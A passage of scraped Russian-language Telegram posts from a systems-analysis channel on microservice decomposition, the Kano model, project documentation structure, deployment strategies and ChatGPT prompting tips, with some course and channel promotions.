(нет встроенной документации/ADR, как в Structurizr) Инструменты и интеграции LikeC4 обычно используется вместе с: 💙Visual Studio Code — редактор с поддержкой DSL 💙Node.js — среда выполнения CLI 💙 Docker — запуск без локальной установки 📎 Материалы 1. Официальный сайт 2. Онлайн пример построения #инструменты ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🎮 Способы распила монолита на микросервисы Правило: Нельзя резать, не определив границы. Начинать нужно с бизнес-логики и данных, а не с кода Качественный сервис после распила обладает: 💙слабой зависимостью (loose coupling) — изменения не ломают соседей 💙высокой внутренней связностью (high cohesion) — сервис решает одну бизнес-задачу Стратегии 💙 Декомпозиция по бизнес-доменам Основана на Domain-Driven Design 💙Каждый сервис = один Bounded Context: собственная логика и данные 💙Границы определяются бизнес-процессами, а не слоями кода 💙 Пошаговый переход 1. Анализ предметной области, выделение контекстов Например, где заканчивается работа склада и начинается работа логистики 2. Определить владельцев данных. Н-р, какие таблицы в монолитной БД принадлежат какому контексту 3. Запретить прямой доступ к «чужим» таблицам 4. Выделить API 5. Отдельный деплой 💙 Пример Каталог (товары, цены) и "Заказы" (корзина, оформление). Их можно разделять Заказы хранят цену на момент покупки и не зависят от текущей цены каталога ❤️Не применять ♥️плохо формализован домен и нет четких бизнес-процессов ♥️ нет владельца продукта ♥️ часто меняющиеся границы (MVP) 💙 Strangler Fig Безопасный способ рефакторинга "на ходу", когда монолит нельзя останавливать 💙Перед монолитом ставится маршрутизатор: API Gateway или обратный прокси (nginx, HAProxy) 💙Новая функциональность создаётся в микросервисах, старая постепенно удаляется. 💙 Пошаговый переход 1. Выбрать изолированный use-case 2. Реализовать его как сервис 3. Настроить маршрутизацию 4. Переключить трафик 5. Удалить старую реализацию 💙 Пример Личный кабинет переносится по частям: сначала профиль, затем смена пароля, затем всё остальное. Монолит постепенно очищается ❤️Не подходит ♥️если нужен быстрый полный переход ♥️ монолит невозможно маршрутизировать 💙 Декомпозиция по данным (Database per Service) Не самостоятельная стратегия, а обязательное условие микросервисов Каждый сервис владеет собственной БД. Общих таблиц нет. Доступ к данным — только через API Подходы 💙разные схемы в одной СУБД 💙физически отдельные БД 💙копии данных + события 💙Event-driven синхронизация 💙 Пошаговый переход 1. Определить владельца таблиц 2. Запретить cross-schema JOIN 3. Выделить БД 4. Перевести взаимодействие через API 5. Настроить события при необходимости Пример Order Service получает собственную БД. Остальные сервисы работают с заказами только через API ❤️Не применять ♥️требуются жёсткие распределённые транзакции ♥️нет инфраструктуры событий 💙 Декомпозиция по нагрузке (Performance-driven) Выносится компонент, создающий нагрузку 💙 Пошаговый переход 1. Найти узкое место (метрики, профилирование) 2. Выделить код 3. Перевести в асинхронный режим 4. Добавить кэширование 💙 Пример Поиск товаров выносится в сервис с собственным Elasticsearch и масштабируется отдельно ❤️Не применять ♥️если проблема в плохом SQL, а не в архитектуре ♥️нагрузка не критична 💙 Декомпозиция по частоте изменений Выносится модуль, который меняется чаще остальных, чтобы ускорить релизы 💙 Пошаговый переход 1. Анализ истории коммитов 2. Выделение часто меняющегося модуля 3. Отделение данных 4. API и независимый деплой 💙 Пример Блок Акции и предложения обновляется ежедневно. Его вынос позволяет деплоить изменения без затрагивания ядра системы ❤️ Не применять Частые изменения вызваны хаосом требований 📎 Материалы 1. Шпаргалка по миграции монолита на микросервисы 2. Когда и как переходить с монолита на микросервисы. Предпосылки и общие понятия 3. Архитектура микросервисов: Разрушение монолита 4. Как НЕ надо распиливать монолит 5. Микросервисная архитектура: от монолита к гибкой системе 📚 Книги Сэм Ньюмен - Создание микросервисов #архитектура ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

⬆️Как прокачать ChatGPT в разы совершенно бесплатно Собрали лайфхаки, которые повысят качество ответов любой нейросети. 1️⃣ Запрещаем нейронке врать ​Прежде чем отвечать, оцени уровень неопределённости своего ответа. Если он превышает 0.1, задай мне уточняющие вопросы до тех пор, пока неопределённость не снизится до 0.1 или ниже. Промпт ломает привычную схему: не «вопрос → ответ», а «вопрос → уточнение → точный ответ». Нейронка будет: 🔘осознавать, когда ей не хватает информации 🔘переспрашивать, а не выдумывать 🔘давать в разы более точный и аргументированный ответ 2️⃣ Пишем промпты правильно Вот универсальный шаблон: Роль + Цель + Контекст + Ограничения + Формат вывода + Уровень качества. Подробнее писали здесь Роль: Ты - [тренер/редактор/аналитик]. Цель: достичь [конкретного результата]. Контекст: Вот что тебе нужно знать: - [предыстория] - [аудитория] - [что у меня уже есть] Ограничения: - Не [добавляй новые предположения / добавляй дополнительные разделы]. - Если чего-то не хватает, [задай до 3 вопросов] ИЛИ [четко сформулируй предположения]. - Ограничься [X предложениями] или [Y пунктами]. Формат вывода: - Раздел 1: [краткий ответ] - Раздел 2: [маркированный список/таблица/контрольный список] - Раздел 3: [следующие шаги] Уровень качества: - Используй простой язык. - Будь конкретным и действенным. - Если неясно, скажи, что от чего зависит. 3️⃣ Просим саму нейронку написать промпт Перед тем, как поручить нейронке задачу, попробуйте попросить её улучшить ваш промпт: Ты промпт-инженер. Напиши профессиональный промпт для запроса ниже: <ваш запрос> Так вы получите более точный результат, не потратив время на придумывание идеального промпта. Подробнее здесь 4️⃣ Включаем критическое мышление Когда нейронка даст ответ, заставьте её критически проанализировать свой ответ и предложить улучшения. Проанализируй свой предыдущий ответ. Найди 3 слабых места и предложи более инновационные подходы. Используй критический анализ и добавь неочевидные инсайты. Так нейронка посмотрит на проблему под другим углом и исправит свои неточности и даже галлюцинации. 5️⃣ Поэтапное размышление для сложных задач Превращаем ИИ в аналитического ассистента, а не просто в генератора текста, за 3 отдельных промпта: 1. Планирование: пишем промпт как в пункте 2 и добавляем в конце: Составь план решения и перечисли допущения. Не давай ответ сразу 2. Критика и проверка (как в пункте 4): Проанализируй свой план. Найди 3 слабых места и предложи более инновационные подходы. Используй критический анализ и добавь неочевидные инсайты. В конце предложи улучшенный план 3. Исполнение: только теперь разрешаем нейронке дать ответ Теперь дай финальный ответ строго по утверждённому плану. 🔖Сохраняем! 💫💫💫 @it_prompt — подписывайтесь, здесь много полезного

📈 Модель Кано Модель Кано — метод классификации и приоритизации функций продукта на основе их влияния на удовлетворенность пользователей Нужна, чтобы отличать «обязательные» функции от «приятных бонусов», грамотно распределять ресурсы команды Где используется В продуктовой и маркетинговой аналитике, управлении требованиями и разработке: ⚪️приоритизация бэклога ⚪️проектирование MVP: определение минимума для выхода на рынок ⚪️стратегия развития продукта: поиск «фишек» Типичные объекты анализа: ✨функциональные и нефункциональные требования ✨элементы пользовательского интерфейса ✨сервисные параметры (поддержка, скорость, доступность) ✨новые продуктовые гипотезы Рассматриваются два независимых показателя: ➡️удовлетворённость пользователя при наличии характеристики ⬅️ неудовлетворённость пользователя при её отсутствии ❗️отсутствие роста удовлетворённости не означает, что характеристика не нужна Обязательные характеристики не повышают удовлетворённость Но их отсутствие приводит к сильному негативу Категории модели Кано 1️⃣ Must-be (обязательные) Характеристики, которые пользователь считает само собой разумеющимися. ▪️их наличие не повышает удовлетворённость ▪️их отсутствие вызывает сильное недовольство 🤩 пример: авторизация в системе; сохранение данных; базовая безопасность. 2️⃣ One-dimensional (линейные) Характеристики, для которых действует прямая зависимость: чем лучше реализовано, тем выше удовлетворённость ▪️улучшение повышает удовлетворённость ↑ ▪️ухудшение повышает неудовлетворённость ↓ 🤩 пример: скорость работы системы; количество поддерживаемых сценариев; точность поиска 3️⃣ Attractive (восхищающие) Характеристики, которых пользователь не ожидает, но которые вызывают положительные эмоции ▪️отсутствие не расстраивает ▪️наличие резко повышает удовлетворённость 🤩 пример: умные рекомендации; автоматизация рутинных действий; нестандартные UX‑решения 4️⃣ Indifferent (безразличные) Характеристики, которые не влияют ни на удовлетворённость, ни на неудовлетворённость. ▪️пользователь не считает их ценными ▪️часто возникают из внутренних гипотез команды 🤩 пример: редко используемые настройки; декоративные элементы без функциональной нагрузки. 5️⃣ Reverse (обратные) Характеристики, наличие которых ухудшает восприятие продукта Пользователь предпочёл бы их отсутствие 🤩 пример: навязчивая автоматизация; избыточные уведомления; усложнение интерфейса. Общий процесс анализа 1. Определить объект анализа. 2. Сформировать список характеристик. 3. Разработать и провести опрос. 5. Проанализировать результаты с помощью вычислений и матрицы Кано 6. Использовать их для принятия решений. Пример Формирование backlog с помощью модели Кано Результаты анализа используются для приоритизации требований ⚪️Обязательные требования Все характеристики категории Must-be включаются в backlog обязательно Имеют высокий приоритет независимо от пользовательского «восторга» ⚪️ Линейные характеристики Характеристики категории One-dimensional приоритизируются по: ➖степени влияния на удовлетворённость ➖частоте упоминаний ➖стратегической важности Эти требования чаще всего становятся основой roadmap ⚪️Восхищающие характеристики Характеристики категории Attractive: ➖используются для дифференциации продукта ➖добавляются в backlog как продуктовые гипотезы ➖часто реализуются итеративно или экспериментально ⚪️ Безразличные и обратные Indifferent исключаются / откладываются из backlog Reverse удаляются или пересматриваются Ограничения модели Кано ➖субъективность ➖зависимость от формулировок вопросов ➖изменение ожиданий со временем 📎 Материалы 1. Модель Кано. Практическое руководство по приоритизации фич 2. Объяснение модели Кано: анализ и примеры 3. Объяснение модели Кано 4. Что такое модель Кано: как построить на примере #требования ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

Наш новый канал — Библиотека ИТ-промптов. Здесь будут только полезные промтпы для повседневных задач IT-шников. Подписывайтесь!

📌 Систематизация знаний на проекте Все зависит от статуса проекта, но вот примерный план: 🤩собрать и зафиксировать текущее знание 🤩структурировать 🤩убрать противоречия 🤩поддерживать актуальность Ключевая задача на входе не «написать документацию», а собрать, структурировать и зафиксировать текущую инфу о системе: 🔣что система делает сейчас 🔣почему она делает это именно так 🔣где находятся основные источники информации 🔣какие есть ограничения, долги и договорённости С чего начинать Где хранится информация: составить список всех мест Формальные: ⚪️ Confluence / Notion ⚪️ репозиторий (README, ADR, comments) ⚪️ ТЗ, договоры ⚪️ API-спецификации (Swagger, Postman) ⚪️ BPMN / схемы / презентации Неформальные: ⚪️знания разработчиков ⚪️чаты ⚪️комментарии в тасках ⚪️личные файлы коллег Определение границ системы ❓ что является нашей системой, а что — внешним контуром ❓ кто основные пользователи ❓ какие внешние системы интегрированы ❓ где начинается и где заканчивается ответственность команды Это основа будущей контекстной диаграммы (C4) Пример структуры проекта 📌 Лучше разделять бизнес и системную аналитику Важно для масштабируемости Пример верхнеуровневой структуры /Проект /00_Общее /01_Бизнес-аналитика /02_Системная_аналитика /03_Архитектура /04_Интеграции /05_Данные /06_API /07_НФТ /08_Решения_и_долги Подробнее по разделам ✨ 00. Общее Дать понимание проекта за короткий срок Описание проекта (1–2 страницы): ➖зачем система существует, для кого ➖какую бизнес-проблему решает ➖глоссарий ➖участники ➖актуальные источники: где документация, код, API ✨ 01. Бизнес-аналитика Фиксирует что и зачем делает система, без привязки к реализации Пример структуры /01_Бизнес-аналитика /01_Цели_и_метрики /02_Бизнес-процессы /03_Роли_и_пользователи /04_Бизнес-правила /05_Сценарии_использования Бизнес-процессы: ⚪️AS-IS (как есть сейчас) ⚪️TO-BE (если планируется развитие) ⚪️BPMN или текст + диаграммы Use Cases / User Stories: без технических деталей ✨ 02. Системная аналитика (ядро) Как именно система работает сейчас Пример структуры /02_Системная_аналитика /01_Функциональные_требования /02_Сценарии_и_алгоритмы /03_Состояния_и_статусы /04_Валидации_и_ошибки Что важно ➖детальные сценарии ➖условия, ветвления ➖бизнес-правила в формализованном виде ➖краевые кейсы ✨03. Архитектура ➖C4 диаграмма ➖описание основных компонентов ➖ответственность сервисов ➖очереди, кэши, БД ✨ 04. Интеграции Для каждой интеграции: ➖назначение ➖инициатор ➖формат данных ➖синхрон / асинхрон ➖ошибки и ретраи ✨05. Данные (крайне важен) ➖ER-диаграммы ➖описание ключевых сущностей ➖статусы и их жизненный цикл ➖источники данных ✨ 06. API ➖Swagger / OpenAPI ➖описание эндпоинтов в бизнес-терминах ➖примеры сценариев ✨07. Нефункциональные требования ➖производительность ➖безопасность ➖SLA ➖логирование ✨08. Решения и долги ➖известные ограничения ➖технический долг ➖компромиссы Как вести документацию дальше ⚪️ документируется текущее состояние, а не желаемое ⚪️ один раздел → один тип знаний ⚪️ любое изменение → обновление документа ⚪️ лучше «плохо, но есть», чем «идеально, но никогда» Практика ⚪️вводить шаблоны ⚪️привязывать документы к задачам ⚪️делать ревью документации с командой 🔹 Подборка шаблонов документации ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🟢 Стратегии деплоя Деплой (deployment) / развертывание — процесс доставки новой версии приложения в продакшн и её ввода в эксплуатацию. Стратегия деплоя определяет - как именно новая версия попадает в прод, - какая часть пользователей её увидит - что произойдёт в случае ошибки 🔵 Big Bang / Replace/ Recreate Deployment (полная замена) Как работает 1. Старая версия приложения полностью останавливается 2. Обновляется код и конфигурации 3. Запуск новой версии Плюсы и минусы ➕ просто реализовать ➕ минимальные требования к инфраструктуре ➖ длительный простой ➖ изменения затрагивают пользователей полностью ➖ откат требует повторного деплоя старой версии Где применяется 🔹 внутренние системы, где простой допустим 🔹 низкокритичные сервисы 🔹 редкие релизы 🔹 на ранних этапах проекта / в условиях ограниченных ресурсов 🟢 Rolling Deployment (постепенное обновление) Как работает - новая версия разворачивается постепенно, по экземплярам (ноды, поды, контейнеры) приложения - балансировщик исключает обновляемые узлы из трафика - без полной остановки сервиса ➕ нет полного простоя ➕ не требует дублирования окружений ➖ старая и новая версии работают одновременно (получение неактуальных данных) ➖ требуется обратная совместимость ➖ откат происходит постепенно, занимает время Где применяется 🔹 микросервисная архитектура 🔹контейнеризированные приложения (Kubernetes, облачные платформы) 🔵 Blue-Green Deployment (Сине-зеленое развертывание) Используются идентичные production-окружения: - Blue — текущая версия - Green — новая версия Процесс деплоя: 1. Разворачивание новой версии в Green 2. Проверка работоспособности 3. Переключение всего трафика с Blue на Green 4. Среда Blue становится standby ➕ мгновенный откат. При обнаружении проблем после переключения трафик возвращается на Blue ➕ нет простоя. Релиз — перенаправление трафика ➕ чёткий контроль версии. Новую версию можно проверить в проде под реальной нагрузкой перед переключением ➖ удвоенные ресурсы ➖ сложность работы с БД , кэшами, файловыми хранилищами, чтобы обе версии могли работать с общим состоянием или его миграция была управляемой Где применяется 🔹критичные пользовательские системы 🔹сервисы с высокими SLA 🟢 Canary Release (канареечное развертывание) - новая версия выкатывается на небольшую часть пользователей - доля увеличивается поэтапно Применяется для высоконагруженных / критически важных приложений ➕ минимизация рисков ➕ раннее обнаружение проблем ➖ сложность настройки ➖ повышенные требования к наблюдаемости 🔵 Shadow Deployment (теневое развертывание) - новая версия развертывается параллельно со старой - пользовательские запросы дублируются и отправляются в новую версию, но ответы от новой версии игнорируются Применение Тестирование новой версии под реальной нагрузкой, но без риска для пользователей После анализа логов и метрик теневой версии выбирается одна из стратегий (Blue-Green, Canary) 👉 Feature Toggles (флаги) Это не стратегия деплоя, а техника, которая усиливает другие стратегии Новая функциональность «завернута» в оператор (флаг), который можно включать/выключать без деплоя (также только для группы пользователей) 👉 A/B-тестирование Цель — не безопасный деплой, а валидация бизнес-гипотез (какой вариант интерфейса дает большую конверсию) Часто это следующий шаг после успешного Canary-релиза, когда нужно принять решение оставить новую версию или откатить 📎 Материалы 1. Стратегии деплоя в Kubernetes 2. Стратегии развертывания (деплоя) и стратегии кэширования 3. 6 способов деплоя веб-приложений 4. Deploy (деплой) 5. Стратегии деплоя: как мы пришли к использованию Argo CD 📚 Книги 1. Грокаем Continuous Delivery - У. Кристи 2. Continuous delivery. Практика непрерывных апдейтов - Э.Вольф 3. Руководство по DevOps - Д. Ким, П. Дебус, Д.Уиллис, Д.Хамбл С.Д. #инфраструктура ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

Системный Аналитик pinned «Постновогодняя распродажа 🎄 Если откладывали покупку Базы знаний по системному анализу — вот он, знак. 🔥 ВЕЧНЫЙ доступ за 3 000 ₽ вместо 5 000 ₽ ⏰ Акция всего 3 дня — до 10:00 22 января (МСК) Если думали, покупать ли, то сейчас самое время»

Постновогодняя распродажа 🎄 Если откладывали покупку Базы знаний по системному анализу — вот он, знак. 🔥 ВЕЧНЫЙ доступ за 3 000 ₽ вместо 5 000 ₽ ⏰ Акция всего 3 дня — до 10:00 22 января (МСК) Если думали, покупать ли, то сейчас самое время